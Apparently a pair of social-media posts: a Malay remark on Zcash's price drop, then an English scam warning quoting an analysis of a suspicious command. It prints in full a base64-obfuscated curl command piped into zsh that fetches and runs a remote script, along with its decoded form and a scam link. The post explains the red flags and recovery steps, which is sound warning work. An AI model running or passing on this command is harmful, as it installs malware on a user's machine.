Baru sebut pasal @Zcash $ZEC semalam, tengahari ni terus junam la pulak. 😅 Seb baik dah lama tak pegang pun. Cerita panjang di facebook.com/share/1P4mxgMk8… @facebook @senangbit

I nearly got scammed today. there are scammers online. Be careful guys These are the scam links meendo.ai/join/JkmLKk?pwd=4m… must be a virus ;  Yes — that command is highly suspicious and should be treated as potential malware. 
Here’s what it does: curl -kfsSL $(echo 'aHR0cDovL2ZyZWRzY2FycGV0Y2xlYW5pbmcuY29tL2N1cmwvNTc4NDc0YWRkYTQ3MWQzNzlmNzk2NDM4ZmU1OTQ5MjI1ZWIzYjE3NjhkN2VhZGU5MzU5NjFkMGUxNjFiMTg1Yw=='|base64 -D)|zsh 

The Base64 string decodes to: fredscarpetcleaning.com/curl… 

So the full behavior is effectively: 

curl -kfsSL fredscarpetcleaning.com/... | zsh 

That means: 1. Downloads a remote script from a website 2. Pipes it directly into zsh 3. Executes it immediately on your machine Red flags: * Uses Base64 to obscure the URL * Uses curl | zsh execution pattern * Uses plain HTTP instead of HTTPS * -k disables certificate validation * Random-looking path/hash strongly resembles payload delivery * Carpet-cleaning domain unrelated to software distribution This is a classic malware/dropper/social-engineering pattern. Do not run it. If you already executed it: 1. Disconnect from the network 2. Check: * ~/.zshrc * ~/.bashrc * crontab entries (crontab -l) * LaunchAgents/systemd services 3. Look for newly installed SSH keys:
ls -la ~/.ssh 4. Rotate passwords/tokens 5. Scan the system with security tools 6. Consider the machine potentially compromised You can safely inspect the downloaded content without executing it by doing: curl -fsSL "fredscarpetcleaning.com/curl…" …but only inside an isolated VM/sandbox, not on a trusted machine.